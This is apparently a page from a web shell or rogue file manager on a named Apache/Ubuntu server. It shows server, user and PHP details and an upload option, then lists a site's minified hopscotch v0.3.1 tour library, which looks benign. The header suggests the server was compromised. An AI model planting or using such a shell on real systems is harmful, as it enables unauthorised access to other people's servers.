HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/dev-beg.teky.com.co/public/assets/js/vendor/hopscotch.min.js
/**! hopscotch - v0.3.1
 *
 * Copyright 2017 LinkedIn Corp. All rights reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
! function(a, b) {
    "object" == typeof exports && "undefined" != typeof module ? module.exports = b() : "function" == typeof define && define.amd ? define(b) : a.hopscotch = b()
}(this, function() {
    "use strict";
    var a, b, c, d, e, f, g, h, i, j, k, l, m, n = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function(a) {
            return typeof a
        } : function(a) {
            return a && "function" == typeof Symbol && a.constructor === Symbol && a !== Symbol.prototype ? "symbol" : typeof a
        },
        o = "bubble_default",
        p = window.Sizzle || null,
        q = "undefined",
        r = !1,
        s = ("undefined" == typeof jQuery ? "undefined" : n(jQuery)) !== q,
        t = !1,
        u = !1,
        v = /^[a-zA-Z]+[a-zA-Z0-9_-]*$/,
        w = {
            left: "right",
            right: "left"
        };
    try {
        n(window.sessionStorage) !== q && (t = !0, sessionStorage.setItem("hopscotch.test.storage", "ok"), sessionStorage.removeItem("hopscotch.test.storage"), u = !0)
    } catch (x) {}
    l = {
            smoothScroll: !0,
            scrollDuration: 1e3,
            scrollTopMargin: 200,
            showCloseButton: !0,
            showPrevButton: !1,
            showNextButton: !0,
            bubbleWidth: 280,
            bubblePadding: 15,
            arrowWidth: 20,
            skipIfNoElement: !0,
            isRtl: !1,
            cookieName: "hopscotch.tour.state"
        }, Array.isArray || (Array.isArray = function(a) {
            return "[object Array]" === Object.prototype.toString.call(a)
        }), k = function() {
            r && m.startTour()
        }, h = {
            addClass: function(a, b) {
                var c, d, e, f;
                if (a.className) {
                    for (d = b.split(/\s+/), c = " " + a.className + " ", e = 0, f = d.length; f > e; ++e) c.indexOf(" " + d[e] + " ") < 0 && (c += d[e] + " ");
                    a.className = c.replace(/^\s+|\s+$/g, "")
                } else a.className = b
            },
            removeClass: function(a, b) {
                var c, d, e, f;
                for (d = b.split(/\s+/), c = " " + a.className + " ", e = 0, f = d.length; f > e; ++e) c = c.replace(" " + d[e] + " ", " ");
                a.className = c.replace(/^\s+|\s+$/g, "")
            },
            hasClass: function(a, b) {
                var c;
                return a.className ? (c = " " + a.className + " ", -1 !== c.indexOf(" " + b + " ")) : !1
            },
            getPixelValue: function(a) {
                var b = "undefined" == typeof a ? "undefined" : n(a);
                return "number" === b ? a : "string" === b ? parseInt(a, 10) : 0
            },
            valOrDefault: function(a, b) {
                return ("undefined" == typeof a ? "undefined" : n(a)) !== q ? a : b
            },
            invokeCallbackArrayHelper: function(a) {
                var b;
                return Array.isArray(a) && (b = j[a[0]], "function" == typeof b) ? b.apply(this, a.slice(1)) : void 0
            },
            invokeCallbackArray: function(a) {
                var b, c;
                if (Array.isArray(a)) {
                    if ("string" == typeof a[0]) return h.invokeCallbackArrayHelper(a);
                    for (b = 0, c = a.length; c > b; ++b) h.invokeCallback(a[b])
                }
            },
            invokeCallback: function(a) {
                return "function" == typeof a ? a() : "string" == typeof a && j[a] ? j[a]() : h.invokeCallbackArray(a)
            },
            invokeEventCallbacks: function(a, b) {
                var c, d, e = i[a];
                if (b) return this.invokeCallback(b);
                for (c = 0, d = e.length; d > c; ++c) this.invokeCallback(e[c].cb)
            },
            getScrollTop: function() {
                var a;
                return a = n(window.pageYOffset) !== q ? window.pageYOffset : document.documentElement.scrollTop
            },
            getScrollLeft: function() {
                var a;
                return a = n(window.pageXOffset) !== q ? window.pageXOffset : document.documentElement.scrollLeft
            },
            getWindowHeight: function() {
                return window.innerHeight || document.documentElement.clientHeight
            },
            addEvtListener: function(a, b, c) {
                return a ? a.addEventListener ? a.addEventListener(b, c, !1) : a.attachEvent("on" + b, c) : void 0
            },
            removeEvtListener: function(a, b, c) {
                return a ? a.removeEventListener ? a.removeEventListener(b, c, !1) : a.detachEvent("on" + b, c) : void 0
            },
            documentIsReady: function() {
                return "complete" === document.readyState
            },
            evtPreventDefault: function(a) {
                a.preventDefault ? a.preventDefault() : event && (event.returnValue = !1)
            },
            extend: function(a, b) {
                var c;
                for (c in b) b.hasOwnProperty(c) && (a[c] = b[c])
            },
            getStepTargetHelper: function(a) {
                var b = document.getElementById(a);
                if (b) return b;
                if (s) return b = jQuery(a), b.length ? b[0] : null;
                if (p) return b = new p(a), b.length ? b[0] : null;
                if (document.querySelector) try {
                    return document.querySelector(a)
                } catch (c) {}
                return /^#[a-zA-Z][\w-_:.]*$/.test(a) ? document.getElementById(a.substring(1)) : null
            },
            getStepTarget: function(a) {
                var b;
                if (!a || !a.target) return null;
                if ("string" == typeof a.target) return h.getStepTargetHelper(a.target);
                if (Array.isArray(a.target)) {
                    var c, d;
                    for (c = 0, d = a.target.length; d > c; c++)
                        if ("string" == typeof a.target[c] && (b = h.getStepTargetHelper(a.target[c]))) return b;
                    return null
                }
                return a.target
            },
            getI18NString: function(a) {
                return e[a] || d[a]
            },
            setState: function(a, b, c) {
                var d, e = "";
                if (t && u) try {
                    sessionStorage.setItem(a, b)
                } catch (f) {
                    u = !1, this.setState(a, b, c)
                } else t && sessionStorage.removeItem(a), c && (d = new Date, d.setTime(d.getTime() + 24 * c * 60 * 60 * 1e3), e = "; expires=" + d.toGMTString()), document.cookie = a + "=" + b + e + "; path=/"
            },
            getState: function(a) {
                var b, c, d, e = a + "=",
                    f = document.cookie.split(";");
                if (t && (d = sessionStorage.getItem(a))) return d;
                for (b = 0; b < f.length; b++) {
                    for (c = f[b];
                        " " === c.charAt(0);) c = c.substring(1, c.length);
                    if (0 === c.indexOf(e)) {
                        d = c.substring(e.length, c.length);
                        break
                    }
                }
                return d
            },
            clearState: function(a) {
                t ? sessionStorage.removeItem(a) : this.setState(a, "", -1)
            },
            normalizePlacement: function(a) {
                !a.placement && a.orientation && (a.placement = a.orientation)
            },
            flipPlacement: function(a) {
                if (a.isRtl && !a._isFlipped) {
                    var b, c, d = ["orientation", "placement"];
                    a.xOffset && (a.xOffset = -1 * this.getPixelValue(a.xOffset));
                    for (c in d) b = d[c], a.hasOwnProperty(b) && w.hasOwnProperty(a[b]) && (a[b] = w[a[b]]);
                    a._isFlipped = !0
                }
            }
        }, h.addEvtListener(window, "load", k), i = {
            next: [],
            prev: [],
            start: [],
            end: [],
            show: [],
            error: [],
            close: []
        }, j = {}, d = {
            stepNums: null,
            nextBtn: "Next",
            prevBtn: "Back",
            doneBtn: "Done",
            skipBtn: "Skip",
            closeTooltip: "Close"
        }, e = {}, b = function(a) {
            this.init(a)
        }, b.prototype = {
            isShowing: !1,
            currStep: void 0,
            setPosition: function(a) {
                var b, c, d, e, f, g, i, j = h.getStepTarget(a),
                    k = this.element,
                    l = this.arrowEl,
                    m = a.isRtl ? "right" : "left";
                if (h.flipPlacement(a), h.normalizePlacement(a), c = k.offsetWidth, b = k.offsetHeight, h.removeClass(k, "fade-in-down fade-in-up fade-in-left fade-in-right"), d = j.getBoundingClientRect(), i = a.isRtl ? d.right - c : d.left, "top" === a.placement) e = d.top - b - this.opt.arrowWidth, f = i;
                else if ("bottom" === a.placement) e = d.bottom + this.opt.arrowWidth, f = i;
                else if ("left" === a.placement) e = d.top, f = d.left - c - this.opt.arrowWidth;
                else {
                    if ("right" !== a.placement) throw new Error("Bubble placement failed because step.placement is invalid or undefined!");
                    e = d.top, f = d.right + this.opt.arrowWidth
                }
                g = "center" !== a.arrowOffset ? h.getPixelValue(a.arrowOffset) : a.arrowOffset, g ? "top" === a.placement || "bottom" === a.placement ? (l.style.top = "", "center" === g ? l.style[m] = Math.floor(c / 2 - l.offsetWidth / 2) + "px" : l.style[m] = g + "px") : ("left" === a.placement || "right" === a.placement) && (l.style[m] = "", "center" === g ? l.style.top = Math.floor(b / 2 - l.offsetHeight / 2) + "px" : l.style.top = g + "px") : (l.style.top = "", l.style[m] = ""), "center" === a.xOffset ? f = d.left + j.offsetWidth / 2 - c / 2 : f += h.getPixelValue(a.xOffset), "center" === a.yOffset ? e = d.top + j.offsetHeight / 2 - b / 2 : e += h.getPixelValue(a.yOffset), a.fixedElement || (e += h.getScrollTop(), f += h.getScrollLeft()), k.style.position = a.fixedElement ? "fixed" : "absolute", k.style.top = e + "px", k.style.left = f + "px"
            },
            render: function(a, b, c) {
                var d, e, g, i, j, k, l, n, p, q, r = this.element;
                if (a ? this.currStep = a : this.currStep && (a = this.currStep), this.opt.isTourBubble ? (i = m.getCurrTour(), i && (e = i.customData, d = i.customRenderer, a.isRtl = a.hasOwnProperty("isRtl") ? a.isRtl : i.hasOwnProperty("isRtl") ? i.isRtl : this.opt.isRtl, g = i.unsafe, Array.isArray(i.steps) && (j = i.steps.length, k = this._getStepI18nNum(this._getStepNum(j - 1)), n = this._getStepNum(b) === this._getStepNum(j - 1)))) : (e = a.customData, d = a.customRenderer, g = a.unsafe, a.isRtl = a.hasOwnProperty("isRtl") ? a.isRtl : this.opt.isRtl), l = n ? h.getI18NString("doneBtn") : a.showSkip ? h.getI18NString("skipBtn") : h.getI18NString("nextBtn"), h.flipPlacement(a), h.normalizePlacement(a), this.placement = a.placement, q = {
                        i18n: {
                            prevBtn: h.getI18NString("prevBtn"),
                            nextBtn: l,
                            closeTooltip: h.getI18NString("closeTooltip"),
                            stepNum: this._getStepI18nNum(this._getStepNum(b)),
                            numSteps: k
                        },
                        buttons: {
                            showPrev: h.valOrDefault(a.showPrevButton, this.opt.showPrevButton) && this._getStepNum(b) > 0,
                            showNext: h.valOrDefault(a.showNextButton, this.opt.showNextButton),
                            showCTA: h.valOrDefault(a.showCTAButton && a.ctaLabel, !1),
                            ctaLabel: a.ctaLabel,
                            showClose: h.valOrDefault(this.opt.showCloseButton, !0)
                        },
                        step: {
                            num: b,
                            isLast: h.valOrDefault(n, !1),
                            title: a.title || "",
                            content: a.content || "",
                            isRtl: a.isRtl,
                            placement: a.placement,
                            padding: h.valOrDefault(a.padding, this.opt.bubblePadding),
                            width: h.getPixelValue(a.width) || this.opt.bubbleWidth,
                            customData: a.customData || {}
                        },
                        tour: {
                            isTour: this.opt.isTourBubble,
                            numSteps: j,
                            unsafe: h.valOrDefault(g, !1),
                            customData: e || {}
                        }
                    }, "function" == typeof d) r.innerHTML = d(q);
                else if ("string" == typeof d) {
                    if (!m.templates || "function" != typeof m.templates[d]) throw new Error('Bubble rendering failed - template "' + d + '" is not a function.');
                    r.innerHTML = m.templates[d](q)
                } else if (f) r.innerHTML = f(q);
                else {
                    if (!m.templates || "function" != typeof m.templates[o]) throw new Error('Bubble rendering failed - template "' + o + '" is not a function.');
                    r.innerHTML = m.templates[o](q)
                }
                var s, t = r.children,
                    u = t.length;
                for (p = 0; u > p; p++) s = t[p], h.hasClass(s, "hopscotch-arrow") && (this.arrowEl = s);
                return r.style.zIndex = "number" == typeof a.zindex ? a.zindex : "", this._setArrow(a.placement), this.hide(!1), this.setPosition(a), c && c(!a.fixedElement), this
            },
            _getStepNum: function(a) {
                var b, c, d = 0,
                    e = m.getSkippedStepsIndexes(),
                    f = e.length;
                for (c = 0; f > c; c++) b = e[c], a > b && d++;
                return a - d
            },
            _getStepI18nNum: function(a) {
                var b = h.getI18NString("stepNums");
                return b && a < b.length ? a = b[a] : a += 1, a
            },
            _setArrow: function(a) {
                h.removeClass(this.arrowEl, "down up right left"), "top" === a ? h.addClass(this.arrowEl, "down") : "bottom" === a ? h.addClass(this.arrowEl, "up") : "left" === a ? h.addClass(this.arrowEl, "right") : "right" === a && h.addClass(this.arrowEl, "left")
            },
            _getArrowDirection: function() {
                return "top" === this.placement ? "down" : "bottom" === this.placement ? "up" : "left" === this.placement ? "right" : "right" === this.placement ? "left" : void 0
            },
            show: function() {
                var a = this,
                    b = "fade-in-" + this._getArrowDirection(),
                    c = 1e3;
                return h.removeClass(this.element, "hide"), h.addClass(this.element, b), setTimeout(function() {
                    h.removeClass(a.element, "invisible")
                }, 50), setTimeout(function() {
                    h.removeClass(a.element, b)
                }, c), this.isShowing = !0, this
            },
            hide: function(a) {
                var b = this.element;
                return a = h.valOrDefault(a, !0), b.style.top = "", b.style.left = "", a ? (h.addClass(b, "hide"), h.removeClass(b, "invisible")) : (h.removeClass(b, "hide"), h.addClass(b, "invisible")), h.removeClass(b, "animate fade-in-up fade-in-down fade-in-right fade-in-left"), this.isShowing = !1, this
            },
            destroy: function() {
                var a = this.element;
                a && a.parentNode.removeChild(a), h.removeEvtListener(a, "click", this.clickCb)
            },
            _handleBubbleClick: function(a) {
                function b(c) {
                    return c === a.currentTarget ? null : h.hasClass(c, "hopscotch-cta") ? "cta" : h.hasClass(c, "hopscotch-next") ? "next" : h.hasClass(c, "hopscotch-prev") ? "prev" : h.hasClass(c, "hopscotch-close") ? "close" : b(c.parentElement)
                }
                var c;
                a = a || window.event;
                var d = a.target || a.srcElement;
                if (c = b(d), "cta" === c) this.opt.isTourBubble || m.getCalloutManager().removeCallout(this.currStep.id), this.currStep.onCTA && h.invokeCallback(this.currStep.onCTA);
                else if ("next" === c) m.nextStep(!0);
                else if ("prev" === c) m.prevStep(!0);
                else if ("close" === c) {
                    if (this.opt.isTourBubble) {
                        var e = m.getCurrStepNum(),
                            f = m.getCurrTour(),
                            g = e === f.steps.length - 1;
                        h.invokeEventCallbacks("close"), m.endTour(!0, g)
                    } else this.opt.onClose && h.invokeCallback(this.opt.onClose), this.opt.id && !this.opt.isTourBubble ? m.getCalloutManager().removeCallout(this.opt.id) : this.destroy();
                    h.evtPreventDefault(a)
                }
            },
            init: function(a) {
                var b, c, d, e, f = document.createElement("div"),
                    g = this,
                    i = !1;
                this.element = f, e = {
                    showPrevButton: l.showPrevButton,
                    showNextButton: l.showNextButton,
                    bubbleWidth: l.bubbleWidth,
                    bubblePadding: l.bubblePadding,
                    arrowWidth: l.arrowWidth,
                    isRtl: l.isRtl,
                    showNumber: !0,
                    isTourBubble: !0
                }, a = ("undefined" == typeof a ? "undefined" : n(a)) === q ? {} : a, h.extend(e, a), this.opt = e, f.className = "hopscotch-bubble animated", e.isTourBubble ? (d = m.getCurrTour(), d && h.addClass(f, "tour-" + d.id)) : h.addClass(f, "hopscotch-callout no-number"), b = function() {
                    !i && g.isShowing && (i = !0, setTimeout(function() {
                        g.setPosition(g.currStep), i = !1
                    }, 100))
                }, h.addEvtListener(window, "resize", b), this.clickCb = function(a) {
                    g._handleBubbleClick(a)
                }, h.addEvtListener(f, "click", this.clickCb), this.hide(), h.documentIsReady() ? document.body.appendChild(f) : (document.addEventListener ? (c = function() {
                    document.removeEventListener("DOMContentLoaded", c), window.removeEventListener("load", c), document.body.appendChild(f)
                }, document.addEventListener("DOMContentLoaded", c, !1)) : (c = function() {
                    "complete" === document.readyState && (document.detachEvent("onreadystatechange", c), window.detachEvent("onload", c), document.body.appendChild(f))
                }, document.attachEvent("onreadystatechange", c)), h.addEvtListener(window, "load", c))
            }
        }, c = function() {
            var a = {},
                c = {};
            this.createCallout = function(d) {
                var e;
                if (!d.id) throw new Error("Must specify a callout id.");
                if (!v.test(d.id)) throw new Error("Callout ID is using an invalid format. Use alphanumeric, underscores, and/or hyphens only. First character must be a letter.");
                if (a[d.id]) throw new Error("Callout by that id already exists. Please choose a unique id.");
                if (!h.getStepTarget(d)) throw new Error("Must specify existing target element via 'target' option.");
                return d.showNextButton = d.showPrevButton = !1, d.isTourBubble = !1, e = new b(d), a[d.id] = e, c[d.id] = d, e.render(d, null, function() {
                    e.show(), d.onShow && h.invokeCallback(d.onShow)
                }), e
            }, this.getCallout = function(b) {
                return a[b]
            }, this.removeAllCallouts = function() {
                var b;
                for (b in a) a.hasOwnProperty(b) && this.removeCallout(b)
            }, this.removeCallout = function(b) {
                var d = a[b];
                a[b] = null, c[b] = null, d && d.destroy()
            }, this.refreshCalloutPositions = function() {
                var b, d, e;
                for (b in a) a.hasOwnProperty(b) && c.hasOwnProperty(b) && (d = a[b], e = c[b], d && e && d.setPosition(e))
            }
        }, a = function(a) {
            var d, k, p, t, u, w, x, y, z = this,
                A = {},
                B = [],
                C = function(a) {
                    return d && d.element && d.element.parentNode || (d = new b(p)), a && h.extend(d.opt, {
                        bubblePadding: E("bubblePadding"),
                        bubbleWidth: E("bubbleWidth"),
                        showNextButton: E("showNextButton"),
                        showPrevButton: E("showPrevButton"),
                        showCloseButton: E("showCloseButton"),
                        arrowWidth: E("arrowWidth"),
                        isRtl: E("isRtl")
                    }), d
                },
                D = function() {
                    d && (d.destroy(), d = null)
                },
                E = function(a) {
                    return "undefined" == typeof p ? l[a] : h.valOrDefault(p[a], l[a])
                },
                F = function() {
                    var a;
                    return a = !t || 0 > u || u >= t.steps.length ? null : t.steps[u]
                },
                G = function() {
                    z.nextStep()
                },
                H = function(a) {
                    var b, c, d, e, f, g, i = C(),
                        j = i.element,
                        k = h.getPixelValue(j.style.top),
                        l = k + h.getPixelValue(j.offsetHeight),
                        m = h.getStepTarget(F()),
                        o = m.getBoundingClientRect(),
                        p = o.top + h.getScrollTop(),
                        r = o.bottom + h.getScrollTop(),
                        t = p > k ? k : p,
                        u = l > r ? l : r,
                        v = h.getScrollTop(),
                        w = v + h.getWindowHeight(),
                        x = t - E("scrollTopMargin");
                    t >= v && (t <= v + E("scrollTopMargin") || w >= u) ? a && a() : E("smoothScroll") ? ("undefined" == typeof YAHOO ? "undefined" : n(YAHOO)) !== q && n(YAHOO.env) !== q && n(YAHOO.env.ua) !== q && n(YAHOO.util) !== q && n(YAHOO.util.Scroll) !== q ? (b = YAHOO.env.ua.webkit ? document.body : document.documentElement, d = YAHOO.util.Easing ? YAHOO.util.Easing.easeOut : void 0, c = new YAHOO.util.Scroll(b, {
                        scroll: {
                            to: [0, x]
                        }
                    }, E("scrollDuration") / 1e3, d), c.onComplete.subscribe(a), c.animate()) : s ? jQuery("body, html").animate({
                        scrollTop: x
                    }, E("scrollDuration"), a) : (0 > x && (x = 0), e = v > t ? -1 : 1, f = Math.abs(v - x) / (E("scrollDuration") / 10), (g = function() {
                        var b = h.getScrollTop(),
                            c = b + e * f;
                        return e > 0 && c >= x || 0 > e && x >= c ? (c = x, a && a(), void window.scrollTo(0, c)) : (window.scrollTo(0, c), h.getScrollTop() === b ? void(a && a()) : void setTimeout(g, 10))
                    })()) : (window.scrollTo(0, x), a && a())
                },
                I = function P(a, b) {
                    var c, d, e;
                    u + a >= 0 && u + a < t.steps.length ? (u += a, d = F(), e = function() {
                        c = h.getStepTarget(d), c ? (A[u] && delete A[u], b(u)) : (A[u] = !0, h.invokeEventCallbacks("error"), P(a, b))
                    }, d.delay ? setTimeout(e, d.delay) : e()) : b(-1)
                },
                J = function(a, b) {
                    var c, d, e, f, g = C(),
                        i = this;
                    if (g.hide(), a = h.valOrDefault(a, !0), c = F(), c.nextOnTargetClick && h.removeEvtListener(h.getStepTarget(c), "click", G), d = c, e = b > 0 ? d.multipage : u > 0 && t.steps[u - 1].multipage, f = function(c) {
                            var f;
                            if (-1 === c) return this.endTour(!0);
                            if (a && (f = b > 0 ? h.invokeEventCallbacks("next", d.onNext) : h.invokeEventCallbacks("prev", d.onPrev)), c === u) {
                                if (e) return void N();
                                f = h.valOrDefault(f, !0), f ? this.showStep(c) : this.endTour(!1)
                            }
                        }, !e && E("skipIfNoElement")) I(b, function(a) {
                        f.call(i, a)
                    });
                    else if (u + b >= 0 && u + b < t.steps.length) {
                        if (u += b, c = F(), !h.getStepTarget(c) && !e) return h.invokeEventCallbacks("error"), this.endTour(!0, !1);
                        f.call(this, u)
                    } else if (u + b === t.steps.length) return this.endTour();
                    return this
                },
                K = function(a) {
                    var b, c, d, e = {};
                    for (b in a) a.hasOwnProperty(b) && "id" !== b && "steps" !== b && (e[b] = a[b]);
                    return y.call(this, e, !0), c = h.getState(E("cookieName")), c && (d = c.split(":"), w = d[0], x = d[1], d.length > 2 && (B = d[2].split(",")), x = parseInt(x, 10)), this
                },
                L = function(a, b, c) {
                    var d, e;
                    if (u = a || 0, A = b || {}, d = F(), e = h.getStepTarget(d)) return void c(u);
                    if (!e) {
                        if (h.invokeEventCallbacks("error"), A[u] = !0, E("skipIfNoElement")) return void I(1, c);
                        u = -1, c(u)
                    }
                },
                M = function(a) {
                    function b() {
                        d.show(), h.invokeEventCallbacks("show", c.onShow)
                    }
                    var c = t.steps[a],
                        d = C(),
                        e = h.getStepTarget(c);
                    u !== a && F().nextOnTargetClick && h.removeEvtListener(h.getStepTarget(F()), "click", G), u = a, d.hide(!1), d.render(c, a, function(a) {
                        a ? H(b) : b(), c.nextOnTargetClick && h.addEvtListener(e, "click", G)
                    }), N()
                },
                N = function() {
                    var a = t.id + ":" + u,
                        b = m.getSkippedStepsIndexes();
                    b && b.length > 0 && (a += ":" + b.join(",")), h.setState(E("cookieName"), a, 1)
                },
                O = function(a) {
                    a && this.configure(a)
                };
            this.getCalloutManager = function() {
                return ("undefined" == typeof k ? "undefined" : n(k)) === q && (k = new c), k
            }, this.startTour = function(a, b) {
                var c, d, e = {},
                    f = this;
                if (!t) {
                    if (!a) throw new Error("Tour data is required for startTour.");
                    if (!a.id || !v.test(a.id)) throw new Error("Tour ID is using an invalid format. Use alphanumeric, underscores, and/or hyphens only. First character must be a letter.");
                    t = a, K.call(this, a)
                }
                if (("undefined" == typeof b ? "undefined" : n(b)) !== q) {
                    if (b >= t.steps.length) throw new Error("Specified step number out of bounds.");
                    d = b
                }
                if (!h.documentIsReady()) return r = !0, this;
                if ("undefined" == typeof d && t.id === w && ("undefined" == typeof x ? "undefined" : n(x)) !== q) {
                    if (d = x, B.length > 0)
                        for (var g = 0, i = B.length; i > g; g++) e[B[g]] = !0
                } else d || (d = 0);
                return L(d, e, function(a) {
                    var b = -1 !== a && h.getStepTarget(t.steps[a]);
                    return b ? (h.invokeEventCallbacks("start"), c = C(), c.hide(!1), f.isActive = !0, void(h.getStepTarget(F()) ? f.showStep(a) : (h.invokeEventCallbacks("error"), E("skipIfNoElement") && f.nextStep(!1)))) : void f.endTour(!1, !1)
                }), this
            }, this.showStep = function(a) {
                var b = t.steps[a],
                    c = u;
                return h.getStepTarget(b) ? (b.delay ? setTimeout(function() {
                    M(a)
                }, b.delay) : M(a), this) : (u = a, h.invokeEventCallbacks("error"), void(u = c))
            }, this.prevStep = function(a) {
                return J.call(this, a, -1), this
            }, this.nextStep = function(a) {
                return J.call(this, a, 1), this
            }, this.endTour = function(a, b) {
                var c, d = C();
                return a = h.valOrDefault(a, !0), b = h.valOrDefault(b, !0), t && (c = F(), c && c.nextOnTargetClick && h.removeEvtListener(h.getStepTarget(c), "click", G)), u = 0, x = void 0, d.hide(), a && h.clearState(E("cookieName")), this.isActive && (this.isActive = !1, t && b && h.invokeEventCallbacks("end")), this.removeCallbacks(null, !0), this.resetDefaultOptions(), D(), t = null, this
            }, this.getCurrTour = function() {
                return t
            }, this.getCurrTarget = function() {
                return h.getStepTarget(F())
            }, this.getCurrStepNum = function() {
                return u
            }, this.getSkippedStepsIndexes = function() {
                var a, b = [];
                for (a in A) b.push(a);
                return b
            }, this.refreshBubblePosition = function() {
                var a = F();
                return a && C().setPosition(a), this.getCalloutManager().refreshCalloutPositions(), this
            }, this.listen = function(a, b, c) {
                return a && i[a].push({
                    cb: b,
                    fromTour: c
                }), this
            }, this.unlisten = function(a, b) {
                var c, d, e = i[a];
                for (c = 0, d = e.length; d > c; ++c) e[c].cb === b && e.splice(c, 1);
                return this
            }, this.removeCallbacks = function(a, b) {
                var c, d, e, f;
                for (f in i)
                    if (!a || a === f)
                        if (b)
                            for (c = i[f], d = 0, e = c.length; e > d; ++d) c[d].fromTour && (c.splice(d--, 1), --e);
                        else i[f] = [];
                return this
            }, this.registerHelper = function(a, b) {
                "string" == typeof a && "function" == typeof b && (j[a] = b)
            }, this.unregisterHelper = function(a) {
                j[a] = null
            }, this.invokeHelper = function(a) {
                var b, c, d = [];
                for (b = 1, c = arguments.length; c > b; ++b) d.push(arguments[b]);
                j[a] && j[a].call(null, d)
            }, this.setCookieName = function(a) {
                return p.cookieName = a, this
            }, this.resetDefaultOptions = function() {
                return p = {}, this
            }, this.resetDefaultI18N = function() {
                return e = {}, this
            }, this.getState = function() {
                return h.getState(E("cookieName"))
            }, y = function(a, b) {
                var c, d, f, g, i = ["next", "prev", "start", "end", "show", "error", "close"];
                for (p || this.resetDefaultOptions(), h.extend(p, a), a && h.extend(e, a.i18n), f = 0, g = i.length; g > f; ++f) d = "on" + i[f].charAt(0).toUpperCase() + i[f].substring(1), a[d] && this.listen(i[f], a[d], b);
                return c = C(!0), this
            }, this.configure = function(a) {
                return y.call(this, a, !1)
            }, this.setRenderer = function(a) {
                var b = "undefined" == typeof a ? "undefined" : n(a);
                return "string" === b ? (o = a, f = void 0) : "function" === b && (f = a), this
            }, this.setEscaper = function(a) {
                return "function" == typeof a && (g = a), this
            }, O.call(this, a)
        }, m = new a,
        function() {
            var a = {};
            a.escape = function(a) {
                return g ? g(a) : null == a ? "" : ("" + a).replace(new RegExp("[&<>\"']", "g"), function(a) {
                    return "&" == a ? "&amp;" : "<" == a ? "&lt;" : ">" == a ? "&gt;" : '"' == a ? "&quot;" : "'" == a ? "&#x27;" : void 0
                })
            }, this.templates = this.templates || {}, this.templates.bubble_default = function(b) {
                function c(b, c) {
                    return c ? a.escape(b) : b
                }
                var d, e = "";
                a.escape, Array.prototype.join;
                e += "\n";
                var f = b.i18n,
                    g = b.buttons,
                    h = b.step,
                    i = b.tour;
                return e += '\n<div class="hopscotch-bubble-container" style="width: ' + (null == (d = h.width) ? "" : d) + "px; padding: " + (null == (d = h.padding) ? "" : d) + 'px;">\n  ', i.isTour && (e += '<span class="hopscotch-bubble-number">' + (null == (d = f.stepNum) ? "" : d) + "</span>"), e += '\n  <div class="hopscotch-bubble-content">\n    ', "" !== h.title && (e += '<h3 class="hopscotch-title">' + (null == (d = c(h.title, i.unsafe)) ? "" : d) + "</h3>"), e += "\n    ", "" !== h.content && (e += '<div class="hopscotch-content">' + (null == (d = c(h.content, i.unsafe)) ? "" : d) + "</div>"), e += '\n  </div>\n  <div class="hopscotch-actions">\n    ', g.showPrev && (e += '<button class="hopscotch-nav-button prev hopscotch-prev">' + (null == (d = f.prevBtn) ? "" : d) + "</button>"), e += "\n    ", g.showCTA && (e += '<button class="hopscotch-nav-button next hopscotch-cta">' + (null == (d = g.ctaLabel) ? "" : d) + "</button>"), e += "\n    ", g.showNext && (e += '<button class="hopscotch-nav-button next hopscotch-next">' + (null == (d = f.nextBtn) ? "" : d) + "</button>"), e += "\n  </div>\n  ", g.showClose && (e += '<button class="hopscotch-bubble-close hopscotch-close">' + (null == (d = f.closeTooltip) ? "" : d) + "</button>"), e += '\n</div>\n<div class="hopscotch-bubble-arrow-container hopscotch-arrow">\n  <div class="hopscotch-bubble-arrow-border"></div>\n  <div class="hopscotch-bubble-arrow"></div>\n</div>\n'
            }
        }.call(m);
    var y = m;
    return y
